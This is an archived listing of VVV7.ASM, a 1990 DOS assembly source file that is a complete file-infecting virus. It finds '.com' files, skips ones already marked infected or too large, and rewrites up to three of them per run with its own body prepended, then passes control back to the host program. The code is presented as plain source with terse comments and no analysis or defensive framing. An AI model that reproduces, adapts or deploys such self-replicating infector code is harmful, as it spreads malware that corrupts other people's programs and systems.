home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VVV7.ASM < prev    next >
Assembly Source File  |  1990-11-16  |  3KB  |  154 lines

  1. .model    tiny
  2. .code
  3. org     100h
  4. kkk:
  5.     nop            ; ID
  6. count    db    90h        ; ID
  7.  
  8.     mov    cx,80h
  9.     mov    si,0080h
  10.     mov    di,0ff7fh
  11.     rep    movsb        ; save param
  12.  
  13.     lea    ax,begp        ; begin prog
  14.     mov    cx,ax
  15.         sub     ax,100h
  16.         mov     ds:[0fah],ax   ; len VIR
  17.     add    cx,fso
  18.         mov     ds:[0f8h],cx   ; begin buffer W
  19.         ADD     CX,AX
  20.         mov     ds:[0f6h],cx   ; begin buffer R
  21.  
  22.         mov     cx,ax
  23.     lea    si,kkk
  24.         mov     di,ds:[0f8h]
  25. RB:     REP     MOVSB           ; move v
  26.  
  27.     mov    al,3        ; inf. only 3 file 
  28.     mov    count,al
  29.  
  30.         stc
  31.  
  32.         LEA     DX,FFF
  33.         MOV     AH,4EH
  34.         MOV     CX,20H
  35.         INT     21H        ;  find first
  36.  
  37.     or    ax,ax
  38.     jz    LLL
  39.     jmp    done
  40.  
  41. LLL:
  42.     MOV     AH,2FH
  43.         INT     21H        ; get DTA
  44.  
  45.     mov    ax,es:[bx+1ah]
  46.         mov     ds:[0fch],ax   ; size
  47.     add    bx,1eh
  48.         mov     ds:[0feh],bx   ; point to name
  49.  
  50.     mov    ax,'OC'        ; "CO"
  51.     sub    ax,ds:[009eh]
  52.     je    fin        ; if file name CO*.com then skip
  53.  
  54.     add    ax,180h        ; if new len file + len VIR + 180h > FFF0
  55.     add    ax,ds:[0fah]    ;    then skip this file
  56.     add    ax,fso
  57.     cmp    ax,0fff0h
  58.     ja    fin
  59.  
  60.     clc
  61.     mov    ax,3d02h
  62.     mov    dx,bx
  63.     int    21h        ; open file
  64.  
  65.     mov    bx,ax
  66.     mov    ah,3fh
  67.         mov     cx,ds:[0fch]
  68.         mov     dx,ds:[0f6h]
  69.     int    21h        ; read file
  70.  
  71.     mov    bx,dx        
  72.     mov    ax,[bx]
  73.     sub    ax,9090h
  74.     jz    fin        ; if file inf. then skip this file
  75.  
  76.     mov    al,'M'
  77.     mov    di,dx
  78.     mov    cx,ds:[0fch]
  79.     repne    scasb
  80.     jne    cont
  81.     mov    al,'Z'
  82.     cmp    es:[di],al
  83.     je    fin        ; if converted then skip
  84.  
  85. cont:
  86.         MOV     AX,ds:[0fch]
  87.         mov     bx,ds:[0f6h]
  88.         mov     [bx-2],ax      ; correct old len
  89.  
  90.     mov    ah,3ch
  91.     mov    cx,00h
  92.         mov     dx,ds:[0feh]   ; point to name
  93.     clc
  94.     int    21h        ; create file
  95.  
  96.     mov    bx,ax        ; #
  97.     mov    ah,40h
  98.         mov     cx,ds:[0fch]
  99.         add     cx,ds:[0fah]
  100.         mov     DX,ds:[0f8h]
  101.     int    21h        ; write file
  102.  
  103.  
  104.     mov    ah,3eh
  105.     int    21h        ;close file
  106.     
  107.     dec    count
  108.     jz    done
  109.  
  110. FIN:
  111.     stc
  112.     mov    ah,4fh
  113.     int    21h        ; find next
  114.  
  115.     or    ax,ax
  116.     jnz    done
  117.  
  118.         JMP     lll
  119.  
  120. DONE:
  121.  
  122.     mov    cx,80h
  123.     mov    si,0ff7fh
  124.     mov    di,0080h
  125.     rep    movsb        ; restore param
  126.  
  127.         MOV     AX,0A4F3H
  128.         mov     ds:[0fff9h],ax
  129.     mov    al,0eah
  130.     mov    ds:[0fffbh],al
  131.     mov    ax,100h
  132.     mov    ds:[0fffch],ax    ; remove REP MOVSB and FAR JMP cs:0100 
  133.  
  134.     lea    si,begp
  135.     lea    di,kkk
  136.     mov    ax,cs
  137.     mov    ds:[0fffeh],ax
  138.     mov    kk,ax
  139.     mov    cx,fso
  140.  
  141.     db    0eah
  142.         dw      0fff9h
  143. kk    dw    0000h
  144.  
  145. fff    db    '*?.com',0
  146. fso    dw    0005h    ; source len file
  147.  
  148.  
  149. begp:
  150.     MOV     AX,4C00H
  151.     int     21h        ; exit
  152.  
  153. end    kkk
  154.